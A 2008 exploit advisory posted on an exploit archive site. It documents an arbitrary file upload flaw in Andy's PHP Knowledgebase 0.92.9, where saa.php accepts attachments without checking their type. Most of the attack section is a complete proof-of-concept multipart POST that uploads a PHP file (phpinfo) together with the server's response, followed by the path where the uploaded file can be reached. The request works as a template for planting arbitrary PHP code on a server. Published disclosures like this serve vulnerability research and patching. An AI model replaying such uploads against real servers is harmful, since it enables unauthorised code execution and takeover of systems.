exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

andysphpkb-upload.txt

andysphpkb-upload.txt
Posted Dec 1, 2008
Authored by CWH Underground | Site citecclub.org

Andy's PHP Knowledgebase version 0.92.9 suffers from an arbitrary file upload vulnerability.

tags | exploit, arbitrary, php, file upload
SHA-256 | 5044edae43fab031b29be01ec9e26de7ed8ef129b44a9dbcab8a4616efe79a60

andysphpkb-upload.txt

Change Mirror Download
==============================================================
Andy's PHP Knowledgebase Arbitrary File Upload Vulnerability
==============================================================

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'


AUTHOR : CWH Underground
DATE : 1 December 2008
SITE : cwh.citec.us


#####################################################
APPLICATION : Andy's PHP Knowledgebase
VERSION : 0.92.9
DOWNLOAD : http://sourceforge.net/project/showfiles.php?group_id=113755
#####################################################

--- Arbitrary File Upload ---

In saa.php page, you can submit an article and attachment file to wait for approval from admin.
Immediately after you submit the article and attachment file, the file has already been on the server without checking file type.
You can upload arbitary file through this form and the url to this file is in authors.php page.

--------
POC
--------

POST /cms/aphpkb/saa.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/cms/aphpkb/saa.php?aid=2
Cookie: module=table; PHPSESSID=b311c4f9b1f3ee0c071f33ffd3b3176f
Content-Type: multipart/form-data; boundary=---------------------------22955284022147
Content-Length: 1080
-----------------------------22955284022147
Content-Disposition: form-data; name="title"

PoC Arbitrary File Upload
-----------------------------22955284022147
Content-Disposition: form-data; name="article"

PoC Arbitrary File Upload
-----------------------------22955284022147
Content-Disposition: form-data; name="keywords"

PoC Arbitrary File Upload
-----------------------------22955284022147
Content-Disposition: form-data; name="aid"

2
-----------------------------22955284022147
Content-Disposition: form-data; name="upload"; filename="info.php"
Content-Type: application/octet-stream

<? phpinfo(); ?>
-----------------------------22955284022147
Content-Disposition: form-data; name="description"

PHP File
-----------------------------22955284022147
Content-Disposition: form-data; name="aid"

2
-----------------------------22955284022147
Content-Disposition: form-data; name="a"


-----------------------------22955284022147
Content-Disposition: form-data; name="submit"

Submit/Save
-----------------------------22955284022147--


HTTP/1.x 200 OK
Date: Mon, 01 Dec 2008 05:39:35 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4578
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html


-----------------------------------------------------------------------

Link for uploaded file is in http://[Target]/[aphpkb_path]/authors.php


#######################################################################################
Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close